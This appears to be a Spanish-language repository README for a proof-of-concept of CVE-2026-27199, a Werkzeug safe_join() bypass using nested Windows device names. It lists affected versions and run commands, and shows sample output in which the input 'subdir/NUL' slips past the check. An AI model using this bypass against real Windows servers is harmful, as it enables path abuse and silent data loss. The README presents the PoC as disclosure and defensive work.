alimezar/cve-2026-27199-werkzeug-safe-join-bypass-pocPrueba de concepto del exploit para CVE-2026-27199, una omisión de safe_join() de Werkzeug mediante nombres de dispositivo de Windows, que demuestra el path traversal y el descarte silencioso de datos.
safe_join() de Werkzeug mediante nombres de dispositivo de WindowsEstado: Divulgado públicamente. Corregido en werkzeug 3.1.6.
Gravedad: Moderada
Reportero: @alimezar
Aviso: GHSA-29vq-49wr-vm6x
| Paquete | Afectado | Parcheado |
|---|
| werkzeug | < 3.1.6 | 3.1.6 |
Requiere: Windows, Python 3.8+,
werkzeug < 3.1.6
pip install "werkzeug==3.1.5"
python poc_CVE-2026-27199.py
============================================================
CVE-2026-27199 — Werkzeug safe_join() PoC
============================================================
[*] Werkzeug version : 3.1.5
[*] os.name : nt
[+] safe_join(base, 'NUL') -> None (correctly blocked)
[!] safe_join(base, 'subdir/NUL') -> C:\...\subdir\NUL (bypass!)
[*] Attempting to write to the returned path ...
[!] open(nested NUL) write: SUCCESS — data silently discarded by device
[!] VULNERABLE: CVE-2026-27199 confirmed on this installation.
Upgrade to werkzeug >= 3.1.6 to remediate.
[+] safe_join(base, 'subdir/NUL') -> None (correctly blocked)
[+] NOT VULNERABLE: nested device name was blocked.
Este PoC se publica con fines educativos y defensivos tras la divulgación responsable y la disponibilidad pública del parche.